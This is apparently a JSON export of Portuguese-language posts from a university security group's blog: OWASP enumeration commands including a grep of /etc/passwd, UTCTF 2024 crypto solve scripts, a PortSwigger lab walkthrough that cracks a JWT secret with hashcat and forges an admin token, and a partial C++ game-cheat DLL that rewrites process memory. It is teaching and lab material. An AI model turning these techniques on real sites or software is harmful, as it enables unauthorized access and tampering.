https://brightsec.com/blog/broken-access-control-attack-examples-and-4-defensive-measures/\nhttps://dev.to/gabogaldino/explicandobroken-access-control-para-desenvolvedores-5dmn\nhttps://medium.com/@nidhirohilla.nr/gate-crasher-fixing-broken-access-control-80906ce6b143#:~:text=Cambridge%20Analytica%20Scandal%3A%20Broken%20Access,million%20users%20without%20their%20consent.\nhttps://www.nytimes.com/2018/04/04/us/politics/cambridge-analytica-scandal-fallout.html\nhttps://qbaindia.com/articles-%26-blogs/f/hacks-history---broken-access-control\nhttps://securityleaders.com.br/mgm-resorts-calcula-perdas-de-us-100-milhoes-devido-a-vazamento-de-dados/\nhttps://www.skyhighsecurity.com/pt/about/resources/intelligence-digest/mgm-resorts-cyberattack-from-cloud-to-casino-floor.html\nhttps://dracones.com.br/ataque-hacker-em-las-vegas/\nhttps://www.bloomberglinea.com.br/internacional/ciberataque-a-mgm-resorts-paralisa-maquinas-de-cassino-e-entradas-em-hoteis/\nhttps://sud-defcon.medium.com/tryhackme-owasp-broken-access-control-writeup-afc0c911f5b6\nhttps://securityboulevard.com/2023/03/23-most-notorious-hacks-history-that-fall-under-owasp-top-10/\nhttps://www.indusface.com/blog/owasp-top-10-vulnerabilities-in-2021-how-to-mitigate-them/\nhttps://owasp.org/Top10/A01_2021-Broken_Access_Control/\nhttps://dev.to/gabogaldino/explicandobroken-access-control-para-desenvolvedores-5dmn\nhttps://sud-defcon.medium.com/tryhackme-owasp-broken-access-control-writeup-afc0c911f5b6\nhttps://medium.com/@nidhirohilla.nr/gate-crasher-fixing-broken-access-control-80906ce6b143#:~:text=Cambridge%20Analytica%20Scandal%3A%20Broken%20Access,million%20users%20without%20their%20consent.\nhttps://portswigger.net/web-security/access-control\n","permalink":"http://grisufrj.github.io/blog/2024-08-06-broken-access-control/","summary":"O que é Broken Access Control? Broken Access Control (BAC), ou Controle de Acesso Quebrado, é uma falha de segurança onde os mecanismos de controle de acesso de um sistema não são implementados ou configurados corretamente, permitindo que usuários mal-intencionados acessem recursos que deveriam estar restritos. Isso pode incluir a visualização de informações confidenciais, a modificação de dados ou a execução de operações privilegiadas.\nO que é OWASP Top 10? O OWASP Top 10 é uma lista publicada pela Open Web Application Security Project (OWASP) que destaca as dez vulnerabilidades mais críticas de segurança em aplicações web.","title":"Broken Access Control: Entendendo Vulnerabilidades de Controle de Acesso"},{"content":"Enumeração tipos de usuários Non-root Usuários non-root são todos os usuários que não têm privilégios administrativos completos. O usuário \u0026ldquo;root\u0026rdquo; é o superusuário em sistemas Unix/Linux com controle total sobre o sistema. Usuários non-root têm permissões restritas, dependendo das políticas de segurança do sistema.\nNon-service Usuários non-service referem-se a contas de usuário que não são usadas para rodar serviços do sistema. Em sistemas Unix/Linux, muitos serviços de sistema, como web servers, bancos de dados, e outros daemon, rodam sob contas de usuário específicas para isolar e limitar o impacto de possíveis comprometimentos de segurança. Contas de serviço tipicamente têm UIDs baixos (geralmente menores que 1000).\nNon-daemon Daemons são programas que rodam em segundo plano para realizar tarefas específicas, como servidores de email, web servers, e outros. Contas non-daemon são contas de usuário que não são usadas para rodar esses programas de segundo plano.\nPodemos enumerar essas informações com o comando abaixo:\n1 grep -E \u0026#34;non-root|non-service|non-daemon\u0026#34; /etc/passwd Usos Comuns do /usr/sbin/nologin Contas de Serviço e Sistema: Muitas vezes, contas de usuário associadas a serviços e processos de sistema (como ftp, www-data, nobody, etc.) são configuradas com /usr/sbin/nologin para evitar que alguém possa usar essas contas para acessar o sistema diretamente.\nVersão do Linux Para enumerar a versão do linux podemos usar os seguintes comandos:\n1 2 3 4 5 lsb_release -a lsb_release -d cat /etc/os-release hostnamectl cat /proc/version Buscando por arquivos e diretórios Para procurar por arquivos e diretórios de nome motd, podemos usar os seguintes comandos:\n1 2 locate motd find / -name motd Command Injection O tipo de vulnerabilidade Command Injection ocorre quando temos uma linguagem do tipo server-side em que a aplicação web faz uma chamada de sistema no computador de hospedagem.\nHacktricks Command Injection\nExemplo de Linguagens server-side:\nphp python java ruby node.js go c# perl rust Referências laboratório TryHackMe - https://tryhackme.com/r/room/owasptop10\n","permalink":"http://grisufrj.github.io/blog/2024-04-02-owasp-top10/","summary":"Enumeração tipos de usuários Non-root Usuários non-root são todos os usuários que não têm privilégios administrativos completos. O usuário \u0026ldquo;root\u0026rdquo; é o superusuário em sistemas Unix/Linux com controle total sobre o sistema. Usuários non-root têm permissões restritas, dependendo das políticas de segurança do sistema.\nNon-service Usuários non-service referem-se a contas de usuário que não são usadas para rodar serviços do sistema. Em sistemas Unix/Linux, muitos serviços de sistema, como web servers, bancos de dados, e outros daemon, rodam sob contas de usuário específicas para isolar e limitar o impacto de possíveis comprometimentos de segurança.","title":"Guia de Segurança Ofensiva"},{"content":"RSA-256 Descrição: 1 Based on the military-grade encryption offered by AES-256, RSA-256 will usher in a new era of cutting-edge security... or at least, better security than RSA-128. Código do chall:\n1 2 3 N = 77483692467084448965814418730866278616923517800664484047176015901835675610073 e = 65537 c = 11711610210897103123119971051169511511195828365955053549510511595100101100125 Esse foi um challenge bem simples de RSA. Pelo nome do chall e dando uma olhada no tamanho do N, a gente consegue ver que o N não é tão grande (justamente 256 bits!) Você pode conferir isso da seguinte forma:\n1 N.bit_length() Que nos retorna 256, o tamanho em bits. Uma alternativa é fatorar o N e achar os fatores que o compõem. Outra, talvez mais simples, é procurar o número em um banco de dados e ver se tem os fatores lá.\nAí ficou fácil.\n1 2 3 4 5 6 p = 1025252665848145091840062845209085931 q = 75575216771551332467177108987001026743883 phi = (p-1)*(q-1) d = pow(e, -1, phi) m = pow(c, d, N) print(int.to_bytes(m, 32)) Achamos assim a flag utflag{just_send_plaintext}\nBeginner: Anti-dcode.fr Descrição: 1 2 3 4 I\u0026#39;ve heard that everyone just uses dcode.fr to solve all of their crypto problems. Shameful, really. This is really just a basic Caesar cipher, with a few extra random characters on either side of the flag. Dcode can handle that, right? \u0026gt;:) The \u0026#39;{\u0026#39;, \u0026#39;}\u0026#39;, and \u0026#39;_\u0026#39; characters aren\u0026#39;t part of the Caesar cipher, just a-z. As a reminder, all flags start with \u0026#34;utflag{\u0026#34;. O arquivo é enorme e contém mais de 250,000 caracteres, então não tenho como colocar aqui. Para resolver, procurei um site que trabalha com cifras de César e coloquei o texto encriptado lá. O site que utilizei foi o https://cryptii.com/pipes/caesar-cipher. Mas primeiro, salvei o texto completo no meu clipboard. Como eu uso o X, o seguinte comando foi o que funcionou para mim:\n1 cat text.txt | xclip -selection c Finalmente, com um shift de 18, consegui achar a flag lá.\n(Procurei no Ctrl+F a cada novo shift)\nPor fim, a gente acha a flag utflag{rip_dcode}. Bem simples :)\nnumbers go brrr Descrição: 1 I wrote an amazing encryption service. It is definitely flawless, so I\u0026#39;ll encrypt the flag and give it to you. Código:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 #!/usr/bin/env python3 from Crypto.Cipher import AES from Crypto.Util.Padding import pad import time seed = int(time.time() * 1000) % (10 ** 6) def get_random_number(): global seed seed = int(str(seed * seed).zfill(12)[3:9]) return seed def encrypt(message): key = b\u0026#39;\u0026#39; for i in range(8): key += (get_random_number() % (2 ** 16)).to_bytes(2, \u0026#39;big\u0026#39;) cipher = AES.new(key, AES.MODE_ECB) ciphertext = cipher.encrypt(pad(message, AES.block_size)) return ciphertext.hex() print(\u0026#34;Thanks for using our encryption service! To get the encrypted flag, type 1. To encrypt a message, type 2.\u0026#34;) while True: print(\u0026#34;What would you like to do (1 - get encrypted flag, 2 - encrypt a message)?\u0026#34;) user_input = int(input()) if(user_input == 1): break print(\u0026#34;What is your message?\u0026#34;) message = input() print(\u0026#34;Here is your encrypted message:\u0026#34;, encrypt(message.encode())) flag = open(\u0026#39;./src/flag.txt\u0026#39;, \u0026#39;r\u0026#39;).read() print(\u0026#34;Here is the encrypted flag:\u0026#34;, encrypt(flag.encode())) Analisando o código, podemos ver que o que ele faz é pegar uma seed de acordo com o tempo atual para gerar uma chave \u0026ldquo;aleatória\u0026rdquo; para um esquema AES. O que a gente precisa lembrar aqui é que AES é um sistema de criptografia simétrica, então resumidamente a chave para encriptar é a mesma para decriptar. Isso quer dizer que se a gente achar a chave, podemos decriptar a flag facilmente.\nMas como achamos a chave?\nNote como a chave é criada:\n1 2 3 4 5 6 7 def encrypt(message): key = b\u0026#39;\u0026#39; for i in range(8): key += (get_random_number() % (2 ** 16)).to_bytes(2, \u0026#39;big\u0026#39;) cipher = AES.new(key, AES.MODE_ECB) ciphertext = cipher.encrypt(pad(message, AES.block_size)) return ciphertext.hex() Basicamente, são gerados números aleatórios a partir da get_random_number. Isso é calculado módulo 2^16 e é concatenado na chave. Agora vamos olhar melhor para a função get_random_number:\n1 2 3 4 5 seed = int(time.time() * 1000) % (10 ** 6) def get_random_number(): global seed seed = int(str(seed * seed).zfill(12)[3:9]) return seed A função usa a variável global seed e faz algumas operações. O que a gente precisa perceber aqui é que, tendo a seed gerada, podemos facilmente calcular os números \u0026ldquo;aleatórios\u0026rdquo; gerados pela função também.\nEssa seed é calculada com base no tempo em que o programa é iniciado e chega na time.time(). No python, a time.time() retorna um float com algumas casas decimais de precisão, que é um dos pontos que o chall explora. O que acontece é que ocorre uma multiplicação por 1000 do time.time(), então os milissegundos acabam sendo levados em conta. Depois de pensar por um tempo em como eu faria para saber o tempo em milissegundos, o Ottoboni sugeriu simplesmente usar bruteforce para achar essas casas decimais, já que são 10^3 possibilidades. Foi o que eu fiz. Funcionou!\nAqui o meu solve:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 #!/usr/bin/env python3 from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad import time from pwn import * sh = remote(\u0026#39;betta.utctf.live\u0026#39;, 7356) current_time = time.time() seed = (int(current_time) * 1000) % (10 ** 6) def get_random_number(): global seed seed = int(str(seed * seed).zfill(12)[3:9]) return seed def decrypt(ciphertext_hex, key): #key = b\u0026#39;\u0026#39; #for i in range(8): # key += (get_random_number_decrypt(seed) % (2 ** 16)).to_bytes(2, \u0026#39;big\u0026#39;) cipher = AES.new(key, AES.MODE_ECB) ciphertext = bytes.fromhex(ciphertext_hex) decrypted_message = unpad(cipher.decrypt(ciphertext), AES.block_size) return decrypted_message.decode(\u0026#39;utf-8\u0026#39;) sh.recvuntil(b\u0026#39;?\u0026#39;) sh.sendline(b\u0026#39;1\u0026#39;) sh.recvuntil(b\u0026#39;Here is the encrypted flag: \u0026#39;) encrypted_flag = sh.recvline().decode().strip() print(f\u0026#34;Encrypted flag is: {encrypted_flag}\u0026#34;) for i in range(1, 1000): try: key = b\u0026#39;\u0026#39; for j in range(8): key += (get_random_number() % (2 ** 16)).to_bytes(2, \u0026#39;big\u0026#39;) decrypt(encrypted_flag, key) except ValueError: print(f\u0026#34;{i} nao foi\u0026#34;) seed = ((int(current_time) * 1000) + i) % (10 ** 6) continue print(decrypt(encrypted_flag, key)) break sh.interactive() Bits and pieces Descrição: 1 2 3 I really really like RSA, so implemented it myself \u0026lt;3. A two parter. Código do chall:\n1 2 3 4 5 6 7 8 9 10 11 n1= 16895844090302140592659203092326754397916615877156418083775983326567262857434286784352755691231372524046947817027609871339779052340298851455825343914565349651333283551138205456284824077873043013595313773956794816682958706482754685120090750397747015038669047713101397337825418638859770626618854997324831793483659910322937454178396049671348919161991562332828398316094938835561259917841140366936226953293604869404280861112141284704018480497443189808649594222983536682286615023646284397886256209485789545675225329069539408667982428192470430204799653602931007107335558965120815430420898506688511671241705574335613090682013 e1= 65537 c1= 7818321254750334008379589501292325137682074322887683915464861106561934924365660251934320703022566522347141167914364318838415147127470950035180892461318743733126352087505518644388733527228841614726465965063829798897019439281915857574681062185664885100301873341937972872093168047018772766147350521571412432577721606426701002748739547026207569446359265024200993747841661884692928926039185964274224841237045619928248330951699007619244530879692563852129885323775823816451787955743942968401187507702618237082254283484203161006940664144806744142758756632646039371103714891470816121641325719797534020540250766889785919814382 n2= 22160567763948492895090996477047180485455524932702696697570991168736807463988465318899280678030104758714228331712868417831523511943197686617200545714707332594532611440360591874484774459472586464202240208125663048882939144024375040954148333792401257005790372881106262295967972148685076689432551379850079201234407868804450612865472429316169948404048708078383285810578598637431494164050174843806035033795105585543061957794162099125273596995686952118842090801867908842775373362066408634559153339824637727686109642585264413233583449179272399592842009933883647300090091041520319428330663770540635256486617825262149407200317 e2= 65537 c2= 19690520754051173647211685164072637555800784045910293368304706863370317909953687036313142136905145035923461684882237012444470624603324950525342723531350867347220681870482876998144413576696234307889695564386378507641438147676387327512816972488162619290220067572175960616418052216207456516160477378246666363877325851823689429475469383672825775159901117234555363911938490115559955086071530659273866145507400856136591391884526718884267990093630051614232280554396776513566245029154917966361698708629039129727327128483243363394841238956869151344974086425362274696045998136718784402364220587942046822063205137520791363319144 n3= 30411521910612406343993844830038303042143033746292579505901870953143975096282414718336718528037226099433670922614061664943892535514165683437199134278311973454116349060301041910849566746140890727885805721657086881479617492719586633881232556353366139554061188176830768575643015098049227964483233358203790768451798571704097416317067159175992894745746804122229684121275771877235870287805477152050742436672871552080666302532175003523693101768152753770024596485981429603734379784791055870925138803002395176578318147445903935688821423158926063921552282638439035914577171715576836189246536239295484699682522744627111615899081 e3= 65537 c3= 17407076170882273876432597038388758264230617761068651657734759714156681119134231664293550430901872572856333330745780794113236587515588367725879684954488698153571665447141528395185542787913364717776209909588729447283115651585815847333568874548696816813748100515388820080812467785181990042664564706242879424162602753729028187519433639583471983065246575409341038859576101783940398158000236250734758549527625716150775997198493235465480875148169558815498752869321570202908633179473348243670372581519248414555681834596365572626822309814663046580083035403339576751500705695598043247593357230327746709126221695232509039271637 Batendo o olho no código, a coisa mais imediata que me veio a mente foi um broadcast attack. A gente pega os valores de n e os valores de c, põe em um array, calcula o teorema chinês do resto e depois tira a raiz. No entanto, se tentarmos isso, olha o que acontece:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 sage: ns = [n1, n2, n3] sage: cs = [c1, c2, c3] sage: crt(cs, ns) ----------------------------------------------------------------------- ValueError Traceback (most recent call last) Cell In[5], line 1 ----\u0026gt; 1 crt(cs, ns) File /usr/lib/python3.11/site-packages/sage/arith/misc.py:3450, in crt(a, b, m, n) 3329 r\u0026#34;\u0026#34;\u0026#34; 3330 Return a solution to a Chinese Remainder Theorem problem. 3331 (...) 3447 58 3448 \u0026#34;\u0026#34;\u0026#34; 3449 if isinstance(a, list): -\u0026gt; 3450 return CRT_list(a, b) 3452 try: 3453 f = (b-a).quo_rem File /usr/lib/python3.11/site-packages/sage/arith/misc.py:3566, in CRT_list(values, moduli) 3564 vs, ms = values[::2], moduli[::2] 3565 for i, (v, m) in enumerate(zip(values[1::2], moduli[1::2])): -\u0026gt; 3566 vs[i] = CRT(vs[i], v, ms[i], m) 3567 ms[i] = lcm(ms[i], m) 3568 values, moduli = vs, ms File /usr/lib/python3.11/site-packages/sage/arith/misc.py:3464, in crt(a, b, m, n) 3462 q, r = f(g) 3463 if r != 0: -\u0026gt; 3464 raise ValueError(\u0026#34;no solution to crt problem since gcd(%s,%s) does not divide %s-%s\u0026#34; % (m, n, a, b)) 3465 from sage.arith.functions import lcm 3467 x = a + q*alpha*py_scalar_to_element(m) ValueError: no solution to crt problem since gcd(374421497892249265823794031537470448 ... Recebemos uma exceção!\nInvestigando mais a fundo, decidi olhar se os valores de n possuem algum termo em comum:\n1 2 3 4 5 6 sage: gcd(n1, n2) 1 sage: gcd(n1, n3) 1 sage: gcd(n2, n3) 175136386393724074897068211302311758514344898633187862983126380556807924872210372704023620020763131468811275018725481764101835410780850364387004844957680252860643364609959757601263568806626614487575229052115194838589297358422557307359118854093864998895206960681533165623745478696564104830629591040860031236467 E olha só, não é que tem!\nSe eles possuem um fator em comum, podemos dividir ambos pelo gcd(n2, n3), o que vai deixar n2 e n3 com apenas um termo. Dessa forma, já sabemos os primos p2, q2, p3, q3. Ok, mas e o n1? Tentando fatorar em minha máquina, percebi que isso poderia levar bastante tempo. Então decidi jogar o valor no FactorDB, assim como fizemos no primeiro chall.\nE lá achamos os nossos fatores p1 e q1 :)\nFinalizando o solve:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from Crypto.Util.number import long_to_bytes, getPrime from sage.all import * load(\u0026#39;vals.sage\u0026#39;) p2 = int(n2 / gcd(n2, n3)) p3 = int(n3 / gcd(n2, n3)) q2 = gcd(n2, n3) q3 = gcd(n2, n3) phi2 = (p2-1)*(q2-1) phi3 = (p3-1)*(q3-1) e = 65537 d2 = pow(e, -1, phi2) d3 = pow(e, -1, phi3) m2 = long_to_bytes(pow(c2, d2, n2)) m3 = long_to_bytes(pow(c3, d3, n3)) p1 = 129984014749130366259742130443330376923069118727641845190136006048911945242427603092160936004682857611235008521722596025476170673607376869837675885556290582081941522328978811710862857253777650447221864279732376499043513950683086803379743964370215090077032772967632331576620201195241241611325672953583711299819 q1 = 129984014749130366259742130443330376923069118727641845190136006048911945242427603092160936004682857611235008521722596025476170673607376869837675885556290582081941522328978811710862857253777650447221864279732376499043513950683086803379743964370215090077032772967632331576620201195241241611325672953583711295127 phi1 = (p1-1)*(q1-1) d1 = pow(e, -1, phi1) m1 = long_to_bytes(pow(c1, d1, n1)) print(m1.decode(), m2.decode(), m3.decode()) Rodando o solve, achamos a flag: utflag{oh_no_it_didnt_work_\u0026lt;/3_i_guess_i_can_just_use_standard_libraries_in_the_future}\n","permalink":"http://grisufrj.github.io/blog/2024-04-02-writeup-crypto-utctf2024/","summary":"RSA-256 Descrição: 1 Based on the military-grade encryption offered by AES-256, RSA-256 will usher in a new era of cutting-edge security... or at least, better security than RSA-128. Código do chall:\n1 2 3 N = 77483692467084448965814418730866278616923517800664484047176015901835675610073 e = 65537 c = 11711610210897103123119971051169511511195828365955053549510511595100101100125 Esse foi um challenge bem simples de RSA. Pelo nome do chall e dando uma olhada no tamanho do N, a gente consegue ver que o N não é tão grande (justamente 256 bits!","title":"Writeup de alguns challenges de crypto do UTCTF 2024"},{"content":"Definindo JSON Web Tokens JSON Web Token (JWT) é um formato para transmitir informações entre partes como um objeto JSON. Do ponto de vista de segurança, JWT é uma ferramenta valiosa, pois oferece autenticação e autorização em um formato que pode ser facilmente verificado e confiado.\nPara identificar um JWT, pode-se observar a estrutura básica composta por três partes separadas por pontos .: o cabeçalho (header), o payload (carga útil), e a assinatura (signature). Essas partes são codificadas em Base64 e são visualmente separadas por pontos.\nExemplo de um JWT:\nO cabeçalho contém o tipo de token (JWT) e o algoritmo de assinatura usado. O payload contém as declarações (claims), que são as informações sobre o usuário ou entidade e metadados adicionais. A assinatura é criada a partir do cabeçalho, payload e uma chave secreta, usando um algoritmo especificado no cabeçalho. Essa assinatura é usada para verificar a integridade dos dados e garantir que o token não tenha sido alterado. Brute Force da chave secreta A ideia do brute force para saber como assinar um JWT envolve tentar adivinhar a chave secreta usada para assinar o token.\nIsso é particularmente relevante quando o algoritmo de assinatura usado é baseado em HMAC (como HMAC-SHA256), que requer uma chave secreta compartilhada entre as partes que emitem e verificam o token.\nUm atacante pode tentar gerar tokens com diferentes chaves e comparar as assinaturas resultantes até encontrar uma correspondência. Isso é extremamente difícil se a chave for longa e aleatória o suficiente, mas pode ser viável se a chave for fraca ou previsível. Portanto, a escolha de uma chave forte e segura é fundamental para mitigar esse tipo de ataque. Além disso, algoritmos de assinatura assimétrica, como RSA, podem ser preferíveis em alguns casos, pois não exigem uma chave secreta compartilhada e são mais resistentes a ataques de força bruta.\nDe forma geral:\n1 hashcat -a 0 -m 16500 \u0026lt;jwt\u0026gt; \u0026lt;wordlist\u0026gt; Em posse da chave secreta usada para assinar os JWTs, um atacante pode realizar várias ações maliciosas, dependendo do contexto e das permissões concedidas pelos tokens. Algumas possíveis consequências incluem:\nFalsificação de tokens: O atacante pode gerar tokens falsos com informações alteradas ou falsas no payload. Isso pode permitir acesso não autorizado a recursos ou informações privilegiadas.\nEscalada de privilégios: Se os tokens incluírem informações sobre permissões ou níveis de acesso, o atacante pode modificar esses dados para aumentar seus próprios privilégios ou níveis de autorização.\nAtaques de sessão: Com acesso aos JWTs, um atacante pode assumir sessões de usuários legítimos, permitindo acesso contínuo a sistemas ou aplicativos mesmo após o término da sessão legítima.\nLaboratório Portswigger Agora vamos resolver um dos laboratórios do portswigger para compreendermos melhor como o JWT funciona\nAcesse o laboratório de JWT do portswigger.\nPara isso, será necessário utilizar a extensão JWT editor, no BurpSuite Dentro do laboratório o nosso objetivo é aplicar força bruta à chave secreta do site. Depois de a obter, utilizaremos a chave para assinar um token de sessão modificado que nos dá acesso ao painel de administração em /admin e, em seguida, eliminaremos o usuário carlos.\nVamos capturar o um JWT válido ao relizar login com as seguintes credenciais: wiener:peter\nAo realizarmos o login, podemos ver no burp que capturamos um JWT\nEnviamos a primeira requisição em azul para o repeater. No menu JSON web token podemos validar que o algoritmo é \u0026quot;alg\u0026quot;: \u0026quot;HS256\u0026quot; que requer uma chave secreta compartilhada entre as partes que emitem e verificam o token 1 hashcat -a 0 -m 16500 eyJraWQiOiIyMmE0MWIzNC05MmEzLTRhYzMtYmVhZC1lYWVkMTVjMTM1MmEiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcxMDQzNDQ4MSwic3ViIjoid2llbmVyIn0.zYGjEa63cPmqIvlKeWqbnKN_old9IDyfzW4VxtX4PhQ ~/wordlists/jwt.secrets.list Com isso conseguimos a chave secreta secret1.\nFalsificação de tokens Em posse da chave secreta, vamos alterar o nosso JWT das credenciais wiener:peter para admin e assinarmos com uma assinatura válida.\nPara isso, vamos utilizar o JWT io\nCopiamos o JWT da wiener e alteramos o usuário wiener para administrator, além disso adicionamos a assinatura com a chave encontrada Baixe a extensão cookie-editor de navegador para facilitar a criação de uma sessão Basta adicionar o JWT no campo value do cookie-editor, com isso conseguimos entrar no painel de administrador localizado em /admin e, consequentemente, excluirmos o usuário carlos.\nReferências portswigger JWT JWT io ","permalink":"http://grisufrj.github.io/blog/2024-03-19-json-web-tokens/","summary":"Definindo JSON Web Tokens JSON Web Token (JWT) é um formato para transmitir informações entre partes como um objeto JSON. Do ponto de vista de segurança, JWT é uma ferramenta valiosa, pois oferece autenticação e autorização em um formato que pode ser facilmente verificado e confiado.\nPara identificar um JWT, pode-se observar a estrutura básica composta por três partes separadas por pontos .: o cabeçalho (header), o payload (carga útil), e a assinatura (signature).","title":"JSON Web Tokens"},{"content":"Desenvolvimento de Código Criando o Projeto Antes de começar o código vamos criar um projeto no Visual Studio, procure e selecione Dynamic Link Library (DLL) para C++ como tipo de projeto como na imagem a seguir.\nDê um nome ao projeto e escolha um local para salvá-lo e teremos uma estrutura inicial desta forma.\nA estrutura do nosso código se dividirá em 3 funções, DllMain, HackThread e UpdatePlayerStats. Irei explicar mais adiante detalhadamente cada uma.\n1 2 3 BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved); DWORD WINAPI HackThread(HMODULE hModule); void UpdatePlayerStats(bool bHealth, bool bAmmo, uintptr_t* localPlayerPtr); Implementando DllMain DllMain é chamada pelo Windows quando a DLL é carregada ou descarregada. Quando a DLL é anexada a um processo (DLL_PROCESS_ATTACH), uma nova thread é criada para executar o código do nosso hack. E para isso chamamos CreateThread para criar uma nova thread passando HackThread como argumento.\nAo criar uma nova thread a função CreateThread retorna um handle (uma referência) para essa thread nova criada. Por isso ao terminar a execução precisamos usar CloseHandle para fechar esse handle e liberar qualquer recurso associado a ele.\n1 2 3 4 5 6 7 8 9 10 11 12 BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: CloseHandle(CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)HackThread, hModule, 0, nullptr)); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } Implementando HackThread A função HackThread atua como o núcleo do hack, semelhante a uma função main , HackThread será responsável por gerenciar o fluxo de execução do hack, chamando funções específicas e gerenciando a lógica principal.\nIremos alocar um console para imprimir mensagens de debug, por exemplo se o cheat está ou não ativado.\n1 2 3 AllocConsole(); freopen_s((FILE**)stdout, \u0026#34;CONOUT$\u0026#34;, \u0026#34;w\u0026#34;, stdout); std::cout \u0026lt;\u0026lt; \u0026#34;Hack ativado. Pressione END para sair.\u0026#34; \u0026lt;\u0026lt; std::endl; O loop principal atua como o coração do cheat. Em cada iteração, o programa deve verificar se as teclas de ativação foram pressionadas, e para isso utilizaremos a função GetAsyncKeyState().\nDentro do loop, desreferenciamos localPlayerPtr usando o offset que conseguimos no Cheat Engine e a partir dele que iremos acessar a vida e a munição usando seus respectivos offsets.\nAo fim de cada iteração chamamos UpdatePlayerStats que irá verificar a ativação do cheat e sobrescrever os valores da vida e munição caso estejam ativos. Usamos Sleep para poupar a utilização de CPU sem diminuir a eficiência do *hack*.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 while (true) { uintptr_t* localPlayerPtr = (uintptr_t*)(moduleBase + 0x109B74); if (GetAsyncKeyState(VK_END) \u0026amp; 1) { std::cout \u0026lt;\u0026lt; \u0026#34;Finalizando HackThread.\u0026#34; \u0026lt;\u0026lt; std::endl; break; } if (GetAsyncKeyState(VK_F1) \u0026amp; 1) { bHealth = !bHealth; std::cout \u0026lt;\u0026lt; \u0026#34;Saude infinita \u0026#34; \u0026lt;\u0026lt; (bHealth ? \u0026#34;ativada\u0026#34; : \u0026#34;desativada\u0026#34;) \u0026lt;\u0026lt; std::endl; } if (GetAsyncKeyState(VK_F2) \u0026amp; 1) { bAmmo = !bAmmo; std::cout \u0026lt;\u0026lt; \u0026#34;Municao infinita \u0026#34; \u0026lt;\u0026lt; (bAmmo ? \u0026#34;ativada\u0026#34; : \u0026#34;desativada\u0026#34;) \u0026lt;\u0026lt; std::endl; } UpdatePlayerStats(bHealth, bAmmo, localPlayerPtr); Sleep(10); } Ao quebrar o loop, indicando a finalização do hack, é crucial realizar a limpeza dos recursos utilizados. Para isso, utilizamos fclose para finalizar os buffers do console e FreeConsole para desanexar e fechar o console alocado. Por fim, chamamos FreeLibraryAndExitThread para liberar a DLL e terminar a thread de execução sem prejudicar o processo do jogo.\n1 2 3 fclose((FILE*)stdout); FreeConsole(); FreeLibraryAndExitThread(hModule, 0); Implementando UpdatePlayerStats A função UpdatePlayerStats será responsável por modificar os dados do jogo, como vida e munição.\nInicialmente, verificamos a validade do ponteiro localPlayerPtr , a tentativa de acessar ou modificar dados através de um ponteiro nulo pode levar a um crash do jogo. Somente quando confirmada a ativação de algum cheat, a função continua com a desreferenciação dos ponteiros.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 void UpdatePlayerStats(bool bHealth, bool bAmmo, uintptr_t* localPlayerPtr) { if (localPlayerPtr) { // Checamos se o jogador existe para não ocasionar um crash if (bHealth) { // Desreferencia a vida adicionando o offset a localPlayerPtr // e atualiza o valor para 999 *(int*)(*localPlayerPtr + 0xF8) = 999; } if (bAmmo) { std::vector\u0026lt;unsigned int\u0026gt; ammoOffsets = { 0x378, 0x14, 0x0 }; uintptr_t addr = *localPlayerPtr; // Navega pelos ponteiros multinível dado a lista de offsets, // desreferencia e altera o valor da munição atual for (unsigned int i = 0; i \u0026lt; ammoOffsets.size(); ++i) { addr = *(uintptr_t*)(addr + ammoOffsets[i]); } *(int*)addr = 999; } } } Código final 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 #include \u0026#34;pch.h\u0026#34; #include \u0026lt;iostream\u0026gt; #include \u0026lt;vector\u0026gt; #include \u0026lt;Windows.h\u0026gt; void UpdatePlayerStats(bool bHealth, bool bAmmo, uintptr_t* localPlayerPtr) { if (localPlayerPtr) { if (bHealth) { *(int*)(*localPlayerPtr + 0xF8) = 999; } if (bAmmo) { std::vector\u0026lt;unsigned int\u0026gt; ammoOffsets = { 0x378, 0x14, 0x0 }; uintptr_t addr = (uintptr_t)localPlayerPtr; for (unsigned int i = 0; i \u0026lt; ammoOffsets.size(); ++i) { addr = *(uintptr_t*)addr; addr += ammoOffsets[i]; } *(int*)addr = 999; } } } DWORD WINAPI HackThread(HMODULE hModule) { AllocConsole(); freopen_s((FILE**)stdout, \u0026#34;CONOUT$\u0026#34;, \u0026#34;w\u0026#34;, stdout); std::cout \u0026lt;\u0026lt; \u0026#34;HackThread iniciada. Pressione END para sair.\u0026#34; \u0026lt;\u0026lt; std::endl; uintptr_t moduleBase = (uintptr_t)GetModuleHandle(nullptr); bool bHealth = false, bAmmo = false; while (true) { uintptr_t* localPlayerPtr = (uintptr_t*)(moduleBase + 0x109B74); if (GetAsyncKeyState(VK_END) \u0026amp; 1) { std::cout \u0026lt;\u0026lt; \u0026#34;Finalizando HackThread.\u0026#34; \u0026lt;\u0026lt; std::endl; break; } if (GetAsyncKeyState(VK_F1) \u0026amp; 1) { bHealth = !bHealth; std::cout \u0026lt;\u0026lt; \u0026#34;Saude infinita \u0026#34; \u0026lt;\u0026lt; (bHealth ? \u0026#34;ativada\u0026#34; : \u0026#34;desativada\u0026#34;) \u0026lt;\u0026lt; std::endl; } if 